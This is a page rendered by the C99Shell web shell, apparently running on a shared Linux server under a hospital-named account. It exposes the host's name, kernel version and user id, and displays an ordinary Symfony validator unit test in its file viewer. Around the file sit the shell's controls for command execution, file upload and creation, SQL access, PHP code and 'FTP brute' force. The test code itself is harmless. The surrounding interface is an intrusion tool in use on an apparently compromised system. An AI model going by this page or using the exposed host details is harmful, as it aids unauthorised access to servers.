!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/Validator/Symfony/Component/Validator/Tests/Constraints/   drwxr-xr-x
Free 291.02 GB of 429.69 GB (67.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CallbackValidatorTest.php (10.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Validator\Tests\Constraints;

use 
Symfony\Component\Validator\ExecutionContext;
use 
Symfony\Component\Validator\Constraints\Callback;
use 
Symfony\Component\Validator\Constraints\CallbackValidator;

class 
CallbackValidatorTest_Class
{
    public static function 
validateCallback($objectExecutionContext $context)
    {
        
$context->addViolation('Callback message', array('{{ value }}' => 'foobar'), 'invalidValue');

        return 
false;
    }
}

class 
CallbackValidatorTest_Object
{
    public function 
validate(ExecutionContext $context)
    {
        
$context->addViolation('My message', array('{{ value }}' => 'foobar'), 'invalidValue');

        return 
false;
    }

    public static function 
validateStatic($objectExecutionContext $context)
    {
        
$context->addViolation('Static message', array('{{ value }}' => 'baz'), 'otherInvalidValue');

        return 
false;
    }
}

class 
CallbackValidatorTest extends \PHPUnit_Framework_TestCase
{
    protected 
$context;
    protected 
$validator;

    protected function 
setUp()
    {
        
$this->context $this->getMock('Symfony\Component\Validator\ExecutionContext', array(), array(), ''false);
        
$this->validator = new CallbackValidator();
        
$this->validator->initialize($this->context);
    }

    protected function 
tearDown()
    {
        
$this->context null;
        
$this->validator null;
    }

    public function 
testNullIsValid()
    {
        
$this->context->expects($this->never())
            ->
method('addViolation');

        
$this->validator->validate(null, new Callback(array('foo')));
    }

    public function 
testSingleMethod()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback('validate');

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    public function 
testSingleMethodExplicitName()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array('callback' => 'validate'));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    public function 
testSingleStaticMethod()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback('validateStatic');

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('Static message', array(
                
'{{ value }}' => 'baz',
            ));

        
$this->validator->validate($object$constraint);
    }

    public function 
testClosure()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(function ($objectExecutionContext $context) {
            
$context->addViolation('My message', array('{{ value }}' => 'foobar'), 'invalidValue');

            return 
false;
        });

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    public function 
testClosureExplicitName()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array(
            
'callback' => function ($objectExecutionContext $context) {
                
$context->addViolation('My message', array('{{ value }}' => 'foobar'), 'invalidValue');

                return 
false;
            },
        ));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    public function 
testArrayCallable()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array(__CLASS__.'_Class''validateCallback'));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('Callback message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    public function 
testArrayCallableExplicitName()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array(
            
'callback' => array(__CLASS__.'_Class''validateCallback'),
        ));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('Callback message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    
// BC with Symfony < 2.4
    
public function testSingleMethodBc()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array('validate'));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    
// BC with Symfony < 2.4
    
public function testSingleMethodBcExplicitName()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array('methods' => array('validate')));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    
// BC with Symfony < 2.4
    
public function testMultipleMethodsBc()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array('validate''validateStatic'));

        
$this->context->expects($this->at(0))
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));
        
$this->context->expects($this->at(1))
            ->
method('addViolation')
            ->
with('Static message', array(
                
'{{ value }}' => 'baz',
            ));

        
$this->validator->validate($object$constraint);
    }

    
// BC with Symfony < 2.4
    
public function testMultipleMethodsBcExplicitName()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array(
            
'methods' => array('validate''validateStatic'),
        ));

        
$this->context->expects($this->at(0))
            ->
method('addViolation')
            ->
with('My message', array(
                
'{{ value }}' => 'foobar',
            ));
        
$this->context->expects($this->at(1))
            ->
method('addViolation')
            ->
with('Static message', array(
                
'{{ value }}' => 'baz',
            ));

        
$this->validator->validate($object$constraint);
    }

    
// BC with Symfony < 2.4
    
public function testSingleStaticMethodBc()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array(
            array(
__CLASS__.'_Class''validateCallback')
        ));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('Callback message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    
// BC with Symfony < 2.4
    
public function testSingleStaticMethodBcExplicitName()
    {
        
$object = new CallbackValidatorTest_Object();
        
$constraint = new Callback(array(
            
'methods' => array(array(__CLASS__.'_Class''validateCallback')),
        ));

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with('Callback message', array(
                
'{{ value }}' => 'foobar',
            ));

        
$this->validator->validate($object$constraint);
    }

    
/**
     * @expectedException \Symfony\Component\Validator\Exception\ConstraintDefinitionException
     */
    
public function testExpectValidMethods()
    {
        
$object = new CallbackValidatorTest_Object();

        
$this->validator->validate($object, new Callback(array('foobar')));
    }

    
/**
     * @expectedException \Symfony\Component\Validator\Exception\ConstraintDefinitionException
     */
    
public function testExpectValidCallbacks()
    {
        
$object = new CallbackValidatorTest_Object();

        
$this->validator->validate($object, new Callback(array(array('foo''bar'))));
    }

    
/**
     * @expectedException \Symfony\Component\Validator\Exception\ConstraintDefinitionException
     */
    
public function testExpectEitherCallbackOrMethods()
    {
        
$object = new CallbackValidatorTest_Object();

        
$this->validator->validate($object, new Callback(array(
            
'callback' => 'validate',
            
'methods' => array('validateStatic'),
        )));
    }

    public function 
testConstraintGetTargets()
    {
        
$constraint = new Callback(array('foo'));

        
$this->assertEquals('class'$constraint->getTargets());
    }

    
// Should succeed. Needed when defining constraints as annotations.
    
public function testNoConstructorArguments()
    {
        new 
Callback();
    }

    public function 
testAnnotationInvocationSingleValued()
    {
        
$constraint = new Callback(array('value' => 'validateStatic'));

        
$this->assertEquals(new Callback('validateStatic'), $constraint);
    }

    public function 
testAnnotationInvocationMultiValued()
    {
        
$constraint = new Callback(array('value' => array(__CLASS__.'_Class''validateCallback')));

        
$this->assertEquals(new Callback(array(__CLASS__.'_Class''validateCallback')), $constraint);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0982 ]--